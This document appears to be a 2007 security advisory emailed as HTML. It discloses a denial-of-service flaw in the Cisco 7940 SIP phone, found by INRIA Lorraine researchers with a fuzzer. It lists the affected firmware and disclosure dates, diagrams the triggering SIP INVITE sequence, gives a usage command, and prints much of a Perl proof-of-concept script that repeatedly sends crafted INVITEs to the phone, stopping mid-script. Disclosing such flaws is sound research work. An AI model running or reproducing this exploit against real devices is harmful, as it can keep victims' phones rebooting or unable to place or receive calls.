<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:st1="urn:schemas-microsoft-com:office:smarttags" xmlns="http://www.w3.org/TR/REC-html40">
<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1250">
<meta name=Generator content="Microsoft Word 11 (filtered medium)">
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="State"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceType"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceName"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="place"/>
<!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
/* Font Definitions */
@font-face
{font-family:Tahoma;
panose-1:2 11 6 4 3 5 4 4 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:12.0pt;
font-family:"Times New Roman";}
a:link, span.MsoHyperlink
{color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{color:purple;
text-decoration:underline;}
span.EmailStyle17
{mso-style-type:personal-compose;
font-family:Arial;
color:windowtext;}
@page Section1
{size:595.3pt 841.9pt;
margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
{page:Section1;}
-->
</style>
</head>
<body lang=FR link=blue vlink=purple>
<div class=Section1>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Cisco 7940 Denial
of Service Vulnerability<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Hardware:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Cisco 7940 SIP
Phone<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Severity:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>High </span></font><font
size=2 face=Tahoma><span lang=EN-GB style='font-size:10.0pt;font-family:Tahoma'>–</span></font><font
size=2 face="Courier New"><span lang=EN-GB style='font-size:10.0pt;font-family:
"Courier New"'> Denial of Service<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Software:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Affected version:
P0S3-08-7-00<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Other Versions:
May be<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Notification:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Vulnerability
found: 30 August 2007<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Contact Cisco: 31
August 2007<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Tracked issue: 11
September 2007<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Vulnerability
Synopsis:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Initiating a
sequence of SIP INVITE transactions leads the device to a state where it looks
functional but it is not able to receive nor to start calls. If the sequence of
INVITE continues, the device will reboot. In the first case, the period of time
where the device is exposed to a DoS is about 3 minutes, but sending new INVITE
transactions, at certain intervals, will keep the target under DoS.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>In order to
generate the SIP INVITE transactions that lead the device to such state, the
Request-URI of the message should not have a user name (i.e. "INVITE
sip:XXX.XXX.XXX.XXX SIP/2.0"). In order to drive the device to a DoS state
only 6 transactions are required as the traffic displayed below.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
----------------------- INVITE (Call-ID #1) -----------------------> Cisco
7940<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 100 Trying (Call-ID #1) --------------------- Cisco 7940<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'> ....<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>--------5 New
Dialogs like the previous--------<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'> ....<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
----------------------- INVITE (Call-ID #7) -----------------------> Cisco
7940<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 486 Busy (Call-ID #7) --------------------- Cisco 7940<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>-------- DoS for
aproximatly 3 minutes ------<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 486 Busy (Call-ID #1) --------------------- Cisco 7940 <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 486 Busy (Call-ID #2) --------------------- Cisco 7940 <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 486 Busy (Call-ID #3) --------------------- Cisco 7940<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 486 Busy (Call-ID #4) --------------------- Cisco 7940<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 486 Busy (Call-ID #5) --------------------- Cisco 7940 <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>X
<------------------ 486 Busy (Call-ID #6) --------------------- Cisco 7940<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Effect:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>If the sequence
of INVITE transactions continues, the device reboots.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Otherwise, the
device can be permanently put under DoS by sending INVITE transactions at
certain intervals.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>In such case the
device replies busy to any incoming call and return busy to any call made by
the user.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>However, the
device maintains its connectivity with its registrar by sending the REGISTER
transaction.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Impact:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Knowing the
userid and IP address of the target:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>A remote user can
crash the phone<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>DoS can performed
by sending the packets at regular intervals<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Proof of Concept:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>A perl script
stateful-cisco-8.7.pl) is attached to this mail.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Command:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>perl
stateful-cisco-8.7.pl <username> <dst_IP> <SourceIp>
<sourceport> Eg. perl stateful-cisco-8.7.pl 192.168.1.7 7940-1
192.168.1.2 tucu<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Credits:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Humberto J.
Abdelnur (Ph.D Student)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><st1:place w:st="on"><st1:PlaceName
w:st="on"><font size=2 face="Courier New"><span lang=EN-GB style='font-size:
10.0pt;font-family:"Courier New"'>Radu</span></font></st1:PlaceName><font
size=2 face="Courier New"><span lang=EN-GB style='font-size:10.0pt;font-family:
"Courier New"'> <st1:PlaceType w:st="on">State</st1:PlaceType></span></font></st1:place><font
size=2 face="Courier New"><span lang=EN-GB style='font-size:10.0pt;font-family:
"Courier New"'> (Ph.D)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Olivier Festor
(Ph.D)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>This
vulnerability was identified by the Madynes research team at INRIA Lorraine,
using KiF the Madynes VoIP fuzzer.<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
style='font-size:10.0pt;font-family:"Courier New"'><a
href="http://madynes.loria.fr/"><span lang=EN-GB>http://madynes.loria.fr/</span></a></span></font><font
size=2 face="Courier New"><span lang=EN-GB style='font-size:10.0pt;font-family:
"Courier New"'><o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>#!/usr/bin/perl<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>###############################<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'># Vulnerabily
discovered using KiF ~ Kiph<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>#<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'># Authors:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'># Humberto J.
Abdelnur (Ph.D Student)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'># <st1:place
w:st="on"><st1:PlaceName w:st="on">Radu</st1:PlaceName> <st1:PlaceType w:st="on">State</st1:PlaceType></st1:place>
(Ph.D)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'># Olivier Festor
(Ph.D)<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>#<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'># Madynes Team,
LORIA - INRIA <st1:place w:st="on"><st1:State w:st="on">Lorraine</st1:State></st1:place><o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'># </span></font><font
size=2 face="Courier New"><span style='font-size:10.0pt;font-family:"Courier New"'><a
href="http://madynes.loria.fr/"><span lang=EN-GB>http://madynes.loria.fr</span></a></span></font><font
size=2 face="Courier New"><span lang=EN-GB style='font-size:10.0pt;font-family:
"Courier New"'><o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>###############################<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>use
IO::Socket::INET;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>use
String::Random;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>die "Usage
$0 <targetIP> <targetUser> <attackerIP>
<attackerUser>" <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>unless
($ARGV[3]);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$targetUser =
$ARGV[1];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$targetIP =
$ARGV[0];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$attackerUser =
$ARGV[3];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$attackerIP=
$ARGV[2];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$socket=new
IO::Socket::INET->new(<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Proto=>'udp',<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>PeerPort=>5060,<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>PeerAddr=>$targetIP,<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>LocalPort=>5060);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$foo = new
String::Random;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$flag = 0;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>@calls;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$threads = 0;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>while ($flag ==
0){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$callid= "
" . $foo->randpattern("CCCnccnC") ."\@$attackerIP";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$cseq =
$foo->randregex('\d\d\d\d');<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$msg =
"INVITE sip:$targetIP SIP/2.0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Via: SIP/2.0/UDP
$attackerIP;branch=z9hG4bK1\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>From:
<sip:$attackerUser\@$attackerIP>;tag=1\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>To:
<sip:$targetUser\@$targetIP>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Call-ID:$callid\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>CSeq: $cseq
INVITE\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Max-Forwards:
70\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Contact:
<sip:$attackerUser\@$attackerIP>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Allow: INVITE,
ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>MESSAGE\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>Content-Length:
0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$socket->recv($text,1024,0);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>if ($text =~
/^SIP\/2.0 100(.\r\n)*/ ){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>push(@calls,
$callid);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>sleep(1);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}elsif ($text =~
/^SIP\/2.0 486(.\r\n)*/ ){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>if ($thread ==
0){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$thread =
scalar(@calls);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>while
(scalar(@calls) ge $thread){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>$toTag = $cseq=
$callid= $text;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>$toTag =~
s/^(.*\r\n)*(To|t):(.*?>)(;.*?)?\r\n(.*\r\n)*/\4/;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>$callid =~
s/^(.*\r\n)*Call-ID:(.*)\r\n(.*\r\n)*/\2/;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>$cseq =~
s/^(.*\r\n)*CSeq: (.*?) (.*?)\r\n(.*\r\n)*/\2/;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
